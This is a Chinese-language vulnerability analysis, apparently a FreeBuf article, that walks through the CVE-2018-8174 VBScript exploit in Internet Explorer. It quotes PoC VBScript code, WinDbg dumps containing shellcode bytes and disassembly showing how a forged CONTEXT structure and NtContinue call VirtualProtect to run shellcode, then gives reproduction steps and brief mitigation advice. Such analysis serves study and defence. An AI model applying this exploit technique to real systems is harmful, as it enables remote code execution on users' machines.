Function VirtualProtectCallParameters(ShellcodeAddrParam) 'bypass cfg
 Alert "VirtualProtectCallParameters"
    Dim result
    result=String((100334-65536),Unescape("%u4141"))  '重复0x10FDC个“A”
    result=result &EscapeAddress(ShellcodeAddrParam)  '在0FDC个“A”后面放入shellcode地址
    result=result &EscapeAddress(ShellcodeAddrParam)  '第一个参数 修改的基地址
    result=result &EscapeAddress(&h3000)     '第二个参数 size
    result=result &EscapeAddress(&h40)      '第三个参数PAGE_EXECUTE_READWRITE 0x40)
    result=result &EscapeAddress(ShellcodeAddrParam-8)  '第四个,内存原始属性保存地址
    result=result &String(6,Unescape("%u4242"))    '重复 6个“**”
    result=result &StructWithNtContinueAddr()    ' \x00 * 3  NtContinue * 4 \x00
    result=result &String((&h80000-LenB(result))/2,Unescape("%u4141")) '重复 0x80000- ?个“AA”
    VirtualProtectCallParameters=result
End Function

一步一步解析:(VBS里面的&代表的是字符串的连接)

//源码:result=String((100334-65536),Unescape("%u4141"))  
//重复0x10FDC个“AA”
0:005> dd poi(esp+c) lc
0055e470  0000004a 00000000 02129da8 00000000
0055e480  024d0008 024dcc34 0392ca3c 024dcc1c
0055e490  00000000 02108298 0037a1bc 0055f5cc

0:005> dd 02129da8 lc
02129da8  00000008 00000000 0393da34 00000000
02129db8  00000000 00000000 655fbbf0 0c04fced
02129dc8  00000000 00550050 00000000 0055f698

//申请出的字符串
0:005> db 0393da34
0393da34  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da44  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da54  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da64  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da74  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da84  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da94  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393daa4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA


//源码:result=result &EscapeAddress(ShellcodeAddrParam) 将shellcode地址放到字符串后面

0:005> dd 0393da34+10FDC lc
0394ea10  0265002c 00000000 00000000 00000000  //0265002c是shellcode的地址
0394ea20  f117622e 0007b655 003bb6d0 0035db68
0394ea30  00000000 00000000 00000000 00000000

//shellcode地址由于重新调试与上面地址不一样,但是可以看到确实是shellcode的代码
0:005> db 0265002c 
0265002c  fc e8 82 00 00 00 60 89-e5 31 c0 64 8b 50 30 8b  ......`..1.d.P0.
0265003c  52 0c 8b 52 14 8b 72 28-0f b7 4a 26 31 ff ac 3c  R..R..r(..J&1..<
0265004c  61 7c 02 2c 20 c1 cf 0d-01 c7 e2 f2 52 57 8b 52  a|., .......RW.R
0265005c  10 8b 4a 3c 8b 4c 11 78-e3 48 01 d1 51 8b 59 20  ..J<.L.x.H..Q.Y 
0265006c  01 d3 8b 49 18 e3 3a 49-8b 34 8b 01 d6 31 ff ac  ...I..:I.4...1..
0265007c  c1 cf 0d 01 c7 38 e0 75-f6 03 7d f8 3b 7d 24 75  .....8.u..}.;}$u
0265008c  e4 58 8b 58 24 01 d3 66-8b 0c 4b 8b 58 1c 01 d3  .X.X$..f..K.X...
0265009c  8b 04 8b 01 d0 89 44 24-24 5b 5b 61 59 5a 51 ff  ......D$$[[aYZQ.


//接下来开始为 VirtualProtect 构造参数:
//result=result &EscapeAddress(ShellcodeAddrParam)
0:005> dd poi(esp+c) lc
0055e470  0212004a 024dcc24 02129da8 0055cab0
0055e480  02110008 00000004 0392ca3c 6e5d0001
0055e490  00000000 02108298 0037a1bc 0055f5cc
0055e4a0  024dd0b0 0055e4d0 02650008 024dc9d4

0:005> dd 02129da8 lc
02129da8  02120008 024dcc24 0393da34 0055cab0
02129db8  00000000 00000000 655fbbf0 0c04fced
02129dc8  00000000 00550050 00000000 0055f698

0:005> dd 0393da34 lc         //1--lpAddress:修改的基地址(也是上面字符串的起始地址)0393da34  41414141 41414141 41414141 41414141
0393da44  41414141 41414141 41414141 41414141
0393da54  41414141 41414141 41414141 41414141
   
//result=result &EscapeAddress(&h3000)     '2--dwSize: size
//result=result &EscapeAddress(&h40)     '3--flNewProtect:PAGE_EXECUTE_READWRITE //result=result &EscapeAddress(ShellcodeAddrParam-8) '4--pflOldProtect: 内存原始属性保存地址

//result的值在不停的变化
0:005> dd 0392ca3c +10fdc
0393da18  0265002c 0265002c 00003000 00000040
0393da28  02650024 08060000 00010fe8 41414141

//result=result &String(6,Unescape("%u4242"))        '重复 12个“*”
0:005> dd 0394ea5c   +10fdc
0395fa38  0265002c 0265002c 00003000 00000040
0395fa48  02650024 42424242 42424242 42424242



//result=result &StructWithNtContinueAddr()     ' 3*0x00+4*NtContinue函数地址+0x00

//StructWithNtContinueAddr 函数是将\x00 与NtContinue 函数地址形成了一个拼接,

0:005> dd 0392ca3c +10fdc
0393da18  0265002c 0265002c 00003000 00000040
0393da28  02650024 42424242 42424242 42424242
0393da38  68000000 68776a55 68776a55 68776a55  //NtContinue的函数地址是 776a5568,68位置不太对看起来有点怪异
0393da48  00776a55 41410000 41414141 41414141
0393da58  97174369 0006b5af 002d00c4 003bb6d0
0393da68  41414141 41414141 41414141 41414141
0393da78  41414141 41414141 41414141 41414141
0393da88  41414141 41414141 41414141 41414141

//result=result &String((&h80000-LenB(result))/2,Unescape("%u4141"))   
//把除了当前的result有效的位置外的地方全部写成"A"
//最终的效果是:
0:005> dd 02b70024 +10fdc
02b81000  0265002c 0265002c 00003000 00000040 //依次为 shellcode 地址,VirtualProtect四个参数
02b81010  02650024 42424242 42424242 42424242 
02b81020  68000000 68776a55 68776a55 68776a55 //NtContinue 的函数地址
02b81030  00776a55 41414141 41414141 41414141
02b81040  41414141 41414141 41414141 41414141
02b81050  41414141 41414141 41414141 41414141
02b81060  41414141 41414141 41414141 41414141
02b81070  41414141 41414141 41414141 41414141

继续往下走: SetMemValue VirtualProtectCallParameters(ShellcodeAddr)

//SetMemValue函数内的IsEmpty断点:
0:005> dd 0037a1bc 
0037a1bc  00000002 00000000 02110008 02105c94
0037a1cc  01dc0024 40000000 0037a1e4 7cd33254 //01dc0024是VirtualProtectCallParameters函数返回的地址
0037a1dc  88006c6c 00000000 00000000 00000000
0037a1ec  00000000 00000000 00000000 00000000
0037a1fc  00000000 7cd3322f 8000e984 77110106
0037a20c  00000000 771246e2 00000017 0037a208
0037a21c  00000000 00000000 00000000 7cd3322a
0037a22c  88005668 00000000 00000000 00350000

//lIlll=GetMemValue()+0x10FDC
0:005> dd 0037a1bc 
0037a1bc  02120002 02129db8 02b70003 6e5d1684 //更改类型为Long
0037a1cc  01dc0024 40000000 0037a1e4 7cd33254 //返回01dc0024地址
0037a1dc  88006c6c 00000000 003b2f48 77737560
0037a1ec  00379f90 00000000 00000000 00000000

//lIlll 得到这片特殊环境的首地址 01dd1000
0:005> dd 01dc0024 +10fdc
01dd1000  0265002c 0265002c 00003000 00000040
01dd1010  02650024 42424242 42424242 42424242
01dd1020  68000000 68776a55 68776a55 68776a55
01dd1030  00776a55 41414141 41414141 41414141

执行 SetMemValue ExpandWithVirtualProtect(lIlll):

先看 ExpandWithVirtualProtect(lIlll) 函数

//ntContinuePtr=structForVirtualProtect+&h23  加的23刚好是 NtContinue 地址,这个值终于正常了
0:005> dd 01dd1000+23 l8
01dd1023  776a5568 776a5568 776a5568 776a5568
01dd1033  41414100 41414141 41414141 41414141


//result=result &String((&hb8-LenB(result))/2,Unescape("%4141"))
0:005> dd poi(esp+c) lc
0055e460  0000004a 00000000 02129da8 00000000
0055e470  02b70003 6e5d1684 01dd1023 40000000
0055e480  024d0008 024dc9f0 00307044 40000000

0:005> dd 02129da8  lc
02129da8  00000008 00000000 003a502c 00000000
02129db8  00000000 00000000 655fbbf0 0c04fced
02129dc8  00000000 00550050 00000000 0055f698

0:005> dd 003a502c 
003a502c  01dd1023 00410041 00410041 00410041  //0041填充
003a503c  00410041 00410041 00410041 00410041
003a504c  00410041 00410041 00410041 00410041
003a505c  00410041 00410041 00410041 00410041
003a506c  00410041 00410041 00410041 00410041
003a507c  00410041 00410041 00410041 00410041
003a508c  00410041 00410041 00410041 00410041
003a509c  00410041 00410041 00410041 00410041

//result=result &EscapeAddress(VirtualProtectAddr)

0:005> dd poi(esp+c)
0055e460  024d004a 6e5d196a 02129da8 024dcdf4
0055e470  02b70003 6e5d1684 01dd1023 40000000
0055e480  02110008 00000004 003a502c 6e5d0001
0055e490  00000000 02108298 0037a1bc 0055f5cc
0055e4a0  024dd0b0 0055e4d0 00010fdc 40000000
0055e4b0  02b7400c 6e5d1684 00552650 40000000
0055e4c0  024d0000 0055e5d0 00000000 00000000
0055e4d0  024dd2f4 0055e5d0 02129da8 02107c7c

0:005> dd 02129da8 lc
02129da8  024d0008 6e5d196a 00307044 024dcdf4
02129db8  00000000 00000000 655fbbf0 0c04fced
02129dc8  00000000 00550050 00000000 0055f698

0:005> dd 00307044 l8
00307044  01dd1023 00410041 00410041 00410041
00307054  00410041 00410041 00410041 00410041

0:005> dd 00307044 +90 lc
003070d4  00410041 00410041 00410041 00410041
003070e4  00410041 00410041 00410041 00410041
003070f4  00410041 00410041 758e22bd d5ff0000 //加入 VirtualProtect 地址(758e22bd)

//下面几步分别在字符串后面拼接了 0xb1、0x00、构造好的构造VirtualProtect环境、0x23
//result=result &EscapeAddress(&h1b)
//result=result &EscapeAddress(0)
//result=result &EscapeAddress(structForVirtualProtect)
//result=result &EscapeAddress(&h23)

//我们直接看拼接后的结果;其实这是一个CONTEXT的结构体:
0:005> dd 0036e84c l100
0036e84c  01dd1023 00410041 00410041 00410041 //01dd1023 中保存的是连续4个 NtContinue 函数地址
0036e85c  00410041 00410041 00410041 00410041
0036e86c  00410041 00410041 00410041 00410041 //中间0x0041填充
0036e87c  00410041 00410041 00410041 00410041
0036e88c  00410041 00410041 00410041 00410041
0036e89c  00410041 00410041 00410041 00410041
0036e8ac  00410041 00410041 00410041 00410041
0036e8bc  00410041 00410041 00410041 00410041
0036e8cc  00410041 00410041 00410041 00410041
0036e8dc  00410041 00410041 00410041 00410041
0036e8ec  00410041 00410041 00410041 00410041
0036e8fc  00410041 00410041 758e22bd 0000001b //后面是 VirtualProtect 地址 758e22bd 
0036e90c  00000000 01dd1000 00000023 43434343 //01dd1000  构造好的构造VirtualProtect环境
0036e91c  43434343 43434343 43434343 43434343
0036e92c  43434343 43434343 43434343 43434343
0036e93c  43434343 43434343 43434343 43434343

SetMemValue ExpandWithVirtualProtect(lIlll)  然后进入 SetMemValue 把这片空间放到 spec_int_1+8  的位置:

0:005> dd 0037a1bc lc
0037a1bc  02120002 02129db8 02110008 00000004
0037a1cc  0391442c 6e5d0001 0037a1e4 7cd33254  //0391442c 内是上面构造好的内存0037a1dc  88006c6c 00000000 003b2f48 77737560


0:005> dd 0391442c 
0391442c  01dd1023 00410041 00410041 00410041
0391443c  00410041 00410041 00410041 00410041
..
..
039144dc  00410041 00410041 758e22bd 0000001b
039144ec  00000000 01dd1000 00000023 43434343
039144fc  43434343 43434343 43434343 43434343

llIIll=GetMemValue() 进入 GetMemValue 更换类型为 Long:

0:005> dd 0037a1bc lc
0037a1bc  02120002 02129db8 00360003 6e5d1684  //更改类型为Long0037a1cc  0391442c 6e5d0001 0037a1e4 7cd33254
0037a1dc  88006c6c 00000000 00000000 00000000

PoC中:最终的 ExecuteShellcode 函数

cla4_obj1.mem(spec_int_1)=&h4d   
cla4_obj1.mem(spec_int_1+8)=0

//PoC的运行就在于0x4d、0这两个值:
0:005> dd 0037a1bc lc
0037a1bc  00000002 02108298 0037004d 0055f5cc //先把 0x0037004d 修改为了 4d
0037a1cc  0391442c 6e5d0001 0037a1e4 7cd33254 //再把0391442c-->0,在这里看不到,因为修改后直接调用 vbscript!VAR::Clear 函数了
0037a1dc  88006c6c 00000000 003b2f48 77737560

我们看一 vbscript!VAR::Clear 的一些逻辑;

//(到这里winbdg重启了一次,地址有所变化)
.text:6E4F17F0                 mov     edi, edi
.text:6E4F17F2                 push    esi                  
.text:6E4F17F3                 mov     esi, ecx             //进来 Clear 函数 ecx保存的就是类型地址,那么我们构造的地址就在[ecx+8]的地方
.text:6E4F17F5                 movzx   ecx, word ptr [esi]  //  ds:0023:002dbf0c=004d
.text:6E4F17F8                 movzx   eax, cx
.text:6E4F17FB                 push    edi
.text:6E4F17FC                 xor     edi, edi
.text:6E4F17FE                 sub     eax, 49h        //减去0x49h
.text:6E4F1801                 jz      loc_6E508B62
.text:6E4F1807                 sub     eax, 3         //减去0x03
.text:6E4F180A                 jz      loc_6E4F4A63
.text:6E4F1810                 dec     eax            //自减 0x01
.text:6E4F1811                 jz      loc_6E50089C   //所以 esi==0x4d 的话这里要跳转
.text:6E4F1817                 dec     eax    
...
跳转后
.text:6E50089C                 mov     eax, [esi+8]  ds:0023:002dbf14=0310a914  //0310a914 是刻意构造的那片内存
.text:6E50089F                 test    eax, eax
.text:6E5008A1                 jz      loc_6E4F1843
.text:6E5008A7                 mov     ecx, [eax]  ds:0023:0310a914=01fb1023  //01fb1023 中保存的是连续4个 NtContinue 函数地址
.text:6E5008A9                 push    eax
.text:6E5008AA                 call    dword ptr [ecx+8]                     //[ecx+8]当然也是 NtContinue 函数地址
.text:6E5008AD                 jmp     loc_6E4F1843
//所以它构造的0x4d这个值,原因是其余的跳转无法构造好寄存器的值

看下 CONTEXT 的结构与我们那片内存对照一下:

0:005> dt !CONTEXT
uxtheme!CONTEXT
   +0x000 ContextFlags     : Uint4B
   +0x004 Dr0              : Uint4B
   +0x008 Dr1              : Uint4B
   +0x00c Dr2              : Uint4B
   +0x010 Dr3              : Uint4B
   +0x014 Dr6              : Uint4B
   +0x018 Dr7              : Uint4B
   +0x01c FloatSave        : _FLOATING_SAVE_AREA
   +0x08c SegGs            : Uint4B
   +0x090 SegFs            : Uint4B
   +0x094 SegEs            : Uint4B
   +0x098 SegDs            : Uint4B
   +0x09c Edi              : Uint4B
   +0x0a0 Esi              : Uint4B
   +0x0a4 Ebx              : Uint4B
   +0x0a8 Edx              : Uint4B
   +0x0ac Ecx              : Uint4B
   +0x0b0 Eax              : Uint4B
   +0x0b4 Ebp              : Uint4B
   +0x0b8 Eip              : Uint4B
   +0x0bc SegCs            : Uint4B
   +0x0c0 EFlags           : Uint4B
   +0x0c4 Esp              : Uint4B
   +0x0c8 SegSs            : Uint4B
   +0x0cc ExtendedRegisters : [512] UChar


0:005> dd 0036e84c l100
0036e84c  01dd1023 00410041 00410041 00410041 //01dd1023   +0x000 ContextFlags 
0036e85c  00410041 00410041 00410041 00410041
0036e86c  00410041 00410041 00410041 00410041 
0036e87c  00410041 00410041 00410041 00410041
0036e88c  00410041 00410041 00410041 00410041
0036e89c  00410041 00410041 00410041 00410041
0036e8ac  00410041 00410041 00410041 00410041
0036e8bc  00410041 00410041 00410041 00410041
0036e8cc  00410041 00410041 00410041 00410041
0036e8dc  00410041 00410041 00410041 00410041
0036e8ec  00410041 00410041 00410041 00410041
0036e8fc  00410041 00410041 758e22bd 0000001b // +0x0b8 Eip :VirtualProtect  758e22bd 
0036e90c  00000000 01dd1000 00000023 43434343 // +0x0c4 Esp : 构造好的VirtualProtect 参数
0036e91c  43434343 43434343 43434343 43434343
0036e92c  43434343 43434343 43434343 43434343
0036e93c  43434343 43434343 43434343 43434343

小结:

所以是从 VAR::Clear 中调用了 ntdll!ntContinue,而且又仿造好了一个了 CONTEXT结构体,这样利用 ntdll!ntContinue还原了一个假的进程。

且 eip 就是 VirtualProtect,而栈空间esp是前面准备好的,返回值为shellcode入口,VirtualProtect的执行参数也是shellcode区域,最后VirtualProtect函数执行完,直接返回到shellcode的开始处开始执行。

四、复现过程

复现环境:Win7 x86sp1,IE8.0.7601.17514

使用Github的PoC,在上述背景内的环境下直接IE打开即可复现:

cve-2018-8174.gif

五、防护建议

如果要预防此类型漏洞,提供以下建议:

1,微软也已经放弃了vbscriptedr 或其他安全厂商可以考虑禁用vbscript脚本,以避免其造成的安全隐患

2,VirtualProtect 函数,检查参数。

*本文原创作者:Lostpoet,本文属于FreeBuf原创奖励计划,未经许可禁止转载